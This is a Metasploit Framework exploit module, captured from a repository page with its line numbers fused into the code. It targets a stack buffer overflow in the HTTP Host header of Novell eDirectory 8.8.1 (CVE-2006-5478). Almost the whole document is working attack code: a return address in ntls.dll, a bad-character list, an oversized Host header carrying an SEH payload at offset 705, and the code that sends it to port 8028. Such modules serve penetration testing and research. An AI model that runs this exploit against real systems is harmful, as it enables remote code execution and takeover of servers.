Path: blob/master/modules/exploits/windows/http/edirectory_host.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Novell eDirectory NDS Server Host Header Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.18The web interface does not validate the length of the19HTTP Host header prior to using the value of that header in an20HTTP redirect.21},22'Author' => 'MC',23'License' => MSF_LICENSE,24'References' => [25['CVE', '2006-5478'],26['OSVDB', '29993'],27['BID', '20655'],28],29'DefaultOptions' => {30'EXITFUNC' => 'seh',31},32'Payload' => {33'Space' => 600,34'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",35'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",36},37'Platform' => 'win',38'Targets' => [39[ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll40],41'Privileged' => true,42'DisclosureDate' => '2006-10-21',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options([Opt::RPORT(8028)])53end5455def exploit56connect5758sploit = "GET /nds HTTP/1.1" + "\r\n"59sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars)60sploit << "," + rand_text_alphanumeric(719, payload_badchars)61seh = generate_seh_payload(target.ret)62sploit[705, seh.length] = seh63sploit << "\r\n\r\n"6465print_status("Trying target #{target.name}...")6667sock.put(sploit)6869handler70disconnect71end72end737475